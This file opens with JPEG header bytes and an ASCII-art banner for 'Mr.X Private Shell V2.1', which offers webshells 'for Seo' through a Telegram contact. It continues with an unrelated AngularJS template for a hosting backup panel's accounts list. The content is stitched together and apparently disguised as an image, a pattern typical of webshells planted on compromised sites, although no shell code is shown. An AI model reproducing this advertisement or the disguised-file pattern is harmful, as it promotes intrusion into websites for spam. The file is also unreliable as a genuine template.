����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<div id="accounts" ng-controller="accounts" class="controller-box">
<h1>{{ lang.t("Accounts") }}</h1>
<p> {{ lang.t("This section lists all active or suspended accounts on your server. Suspended accounts are highlighted in red.") }}</p>
<p>{{lang.t("For further information, please visit")}} <a href="{{const.DOCS_ADMIN_URL}}/accounts.html" style="color: #fd6b2b;" target="_blank">{{lang.t("Accounts Overview documentation.")}}</a></p>
<div class="row search-page-container">
<div class="col-xs-12 col-sm-5 col-md-4 col-lg-6">
<button class="btn btn-default" ng-click="fetch()" title="{{ lang.t('Refresh Records') }}">
<em aria-hidden="true" class="fas fa-redo"></em>
</button>
<a href="{{primaryURL}}/accountsOrphans" class="btn btn-primary" ng-click="changeView('/accountsOrphans')" ng-show="perm.isReseller">
<em aria-hidden="true" class="fas fa-user-times"></em>
{{ lang.t('View Orphan Accounts') }}
</a>
<a href="{{primaryURL}}/tags" class="btn btn-primary" ng-click="changeView('/tags')" ng-show="perm.isRoot">
<em aria-hidden="true" class="fas fa-tags"></em>
{{ lang.t('Manage Account Tags') }}
</a>
<!--button class="btn btn-primary" ng-click="reassignAccounts()" title="{{ lang.t('Reassign Accounts') }}">
<em aria-hidden="true" class="fas fa-user-check"></em>
{{ lang.t('Reassign Accounts') }}
</button-->
<!--div ng-show="checked">
{{ lang.t("With Selected") }}:
<button class="btn btn-primary" ng-click="createSnapshots()">
<em aria-hidden="true" class="fas fa-archive"></em>
{{ lang.t("Create Snapshot") }}
</button>
</div-->
</div>
<div class="col-xs-12 col-sm-4 col-md-4 col-lg-2">
<filter-box
filter-title="{{lang.t('Filter by Tags')}}"
box-options="filterOptions"
ng-model="filter"
ng-change="fetch()">
</filter-box>
</div>
<div class="col-xs-12 col-sm-3 col-md-4 col-lg-4">
<search ng-model="metaData.filterValue" ng-change="fetch()"></search>
</div>
</div>
<div class="table-responsive">
<table class="table table-striped content-table">
<thead>
<tr>
<!--th class="column-title">
<div class="pretty p-default p-curve p-smooth">
<input aria-label="{{lang.t('Select all accounts checkbox')}}" type="checkbox" ng-model="checkall" id="checkall" ng-click="setCheckAll()" />
<div class="state p-danger"><label for="checkall"><span style="display: none;">{{ lang.t("Check") }}</span></label></div>
</div>
</th-->
<th class="col-sm-2 col-md-2 col-lg-2 column-title">
<button sort-by sort-meta="meta" sort-field="username" onSort="fetch()" title="{{ lang.t('Sort by %s.', lang.t('Username / Nickname')) }}">{{ lang.t("Username / Nickname") }}</button>
</th>
<th class="col-sm-1 col-md-1 col-lg-1 column-title">
<button sort-by sort-meta="meta" sort-field="owner" onSort="fetch()" title="{{ lang.t('Sort by %s.', lang.t('Owner')) }}">{{ lang.t("Owner") }}</button>
</th>
<th class="col-sm-1 col-md-1 col-lg-1 column-title">
<button sort-by sort-meta="meta" sort-field="homedir" onSort="fetch()" title="{{ lang.t('Sort by %s.', lang.t('Home Directory')) }}">{{ lang.t("Home Directory") }}</button>
</th>
<th class="col-sm-1 col-md-1 col-lg-1 column-title">
<button sort-by sort-meta="meta" sort-field="domain" onSort="fetch()" title="{{ lang.t('Sort by %s.', lang.t('Domain')) }}">{{ lang.t("Domain") }}</button>
</th>
<th class="col-sm-1 col-md-1 col-lg-1 column-title">
<button sort-by sort-meta="meta" sort-field="ip" onSort="fetch()" title="{{ lang.t('Sort by %s.', lang.t('IP Addresses')) }}">{{ lang.t("IP Addresses") }}</button>
</th>
<th class="col-sm-2 col-md-2 col-lg-2 column-title" ng-show="perm.isRoot">
{{ lang.t("Tags") }}
</th>
<th class="col-sm-1 col-md-1 col-lg-1 column-title">
<button sort-by sort-meta="meta" sort-field="backup_stats.{{const.BACKUP_TYPE_ACCOUNT_FULL}}" onSort="fetch()" title="{{ lang.t('Sort by %s.', lang.t('Full Backups')) }}">{{ lang.t("Full Backups") }}</button>
</th>
<th class="col-sm-1 col-md-1 col-lg-1 column-title">
<button sort-by sort-meta="meta" sort-field="quota.disk_usage" onSort="fetch()" title="{{ lang.t('Sort by %s.', lang.t('Disk Usage')) }}">{{ lang.t("Disk Usage") }}</button>
</th>
<th class="col-sm-1 col-md-1 col-lg-1 column-title">
<button sort-by sort-meta="meta" sort-field="quota.inode_usage" onSort="fetch()" title="{{ lang.t('Sort by %s.', lang.t('Inode Usage')) }}">{{ lang.t("Inode Usage") }}</button>
</th>
<th class="col-sm-1 col-md-1 col-lg-1 column-title" ng-show="perm.isRoot">
{{ lang.t("Assignable Accounts") }}
</th>
</tr>
</thead>
<tbody>
<tr ng-repeat-start="account in accounts" id="account_row_{{$index}}" ng-click="openActions(account)" class="pointer" ng-class="{ 'suspended': account.suspended }">
<!--td ng-click="$event.stopPropagation();">
<div class="pretty p-default p-curve p-smooth">
<input aria-label="{{lang.t('checkbox, - Add account to multiple selection')}}" type="checkbox" ng-model="account.checked" id="check_{{account.username}}" ng-click="checkChanged()" />
<div class="state p-danger"><label for="check_{{account.username}}"><span style="display: none;">{{ lang.t("Check") }}</span></label></div>
</div>
</td-->
<td data-title="{{ lang.t('Username') }}">
{{ account.virtual && account.nickname ? account.nickname : account.username }}
<div ng-show="!account.virtual && account.nickname" class="nickname">{{ account.nickname }}</div>
</td>
<td data-title="{{ lang.t('Owner') }}">
{{ account.owner_nickname }}
</td>
<td data-title="{{ lang.t('Home Directory') }}">
{{ account.homedir ? account.homedir : lang.t("N/A") }}
</td>
<td data-title="{{ lang.t('Domain') }}">
{{ account.domain ? account.domain : lang.t("N/A") }}
</td>
<td data-title="{{ lang.t('IP Addresses') }}">
<span ng-hide="account.ip.length">{{lang.t("N/A")}}</span>
<div ng-repeat="ip in account.ip" style="white-space: nowrap;"><strong>{{ ip.main ? lang.t("Main") : lang.t("Additional") }}:</strong> {{ ip.ip }}</div>
</td>
<td data-title="{{ lang.t('Tags') }}" ng-click="$event.stopPropagation();" ng-show="perm.isRoot">
<span ng-show="account.deletetags" class="fas fa-spin fa-circle-notch"></span>
<div ng-hide="account.deletetags">
<!--span ng-repeat="tag in account.tags"> <a class="label label-xxs label-primary" style="border-color: #dddddd; background-color: {{tags[tag].color}} !important;" href="" ng-click="removeTag(account, $index)"> <span class="fas fa-times"></span> {{ tags[tag].name }}</a> </span-->
<span ng-repeat="tag in account.tags"><span class="label label-xxs label-primary" style="border-color: #dddddd; background-color: {{tags[tag].color}} !important;"><span class="fas fa-tag"></span> {{ tags[tag].name }}</span> </span>
<div style="margin-top: 5px"><a href="" class="btn btn-xxs btn-primary" ng-click="manageTags(account)">{{lang.t("Manage Tags")}}</a></div>
</div>
</td>
<td data-title="{{ lang.t('Full Backups') }}">
<div uib-tooltip-template="'accountBackupStats.htm'" tooltip-placement="auto" tooltip-class="backup-stats-tooltip">
{{ account.backup_stats[const.BACKUP_TYPE_ACCOUNT_FULL] }}
</div>
</td>
<td data-title="{{ lang.t('Disk Usage') }}">
{{ account.quota.disk_usage >= 0 ? util.sizeToHumanReadable(account.quota.disk_usage, false, 0) + " / " + (account.quota.disk_total >= 0 ? util.sizeToHumanReadable(account.quota.disk_total, false, 0) : lang.t("Unlimited")) : lang.t("N/A") }}
</td>
<td data-title="{{ lang.t('Inode Usage') }}">
{{ account.quota.inode_usage >= 0 ? account.quota.inode_usage : lang.t("N/A") }}
</td>
<td data-title="{{ lang.t('Assignable Accounts') }}" ng-show="perm.isRoot">
<span ng-hide="account.assignable_accounts">-</span>
<div ng-show="account.assignable_accounts" ng-click="$event.stopPropagation();">
{{lang.t("%s Accounts", account.assignable_accounts)}}<br />
<button ng-click="reassign(account);" class="btn btn-xxs btn-primary">{{lang.t("Reassign")}}</button>
</div>
</td>
</tr>
<tr ng-repeat-end id="dt_module_row_{{$index}}">
<td colspan="10" class="actions-cell">
<div class="action-module" ng-if="isOpenedActions(account)" ng-include="includePath('accountActions')"></div>
</td>
</tr>
<tr ng-hide="!loadingAccounts">
<td colspan="10">
<loading-box><span>{{ lang.t("Loading Accounts") }}</span></loading-box>
</td>
</tr>
<tr ng-hide="accounts.length > 0 || loadingAccounts">
<td colspan="10">
<span>{{ lang.t("No Accounts Found") }}</span>
</td>
</tr>
</tbody>
</table>
</div>
<pagination fetch="fetch" meta="meta"></pagination>
</div>
<script type="text/ng-template" id="accountBackupStats.htm">
<div style="text-align: left; margin: 10px 20px;">
<h4 style="font-size: 16px; white-space: nowrap;">{{ lang.t("Account Backups Count") }}</h4>
<ul style="list-style: none; padding: 0; margin: 0; width: 200px;">
<li ng-repeat="(type, total) in account.backup_stats">{{ lang.t("%s %s Backups", total, const.BACKUP_TYPE_ACCOUNT_NAMES[type]) }}</li>
</ul>
</div>
</script>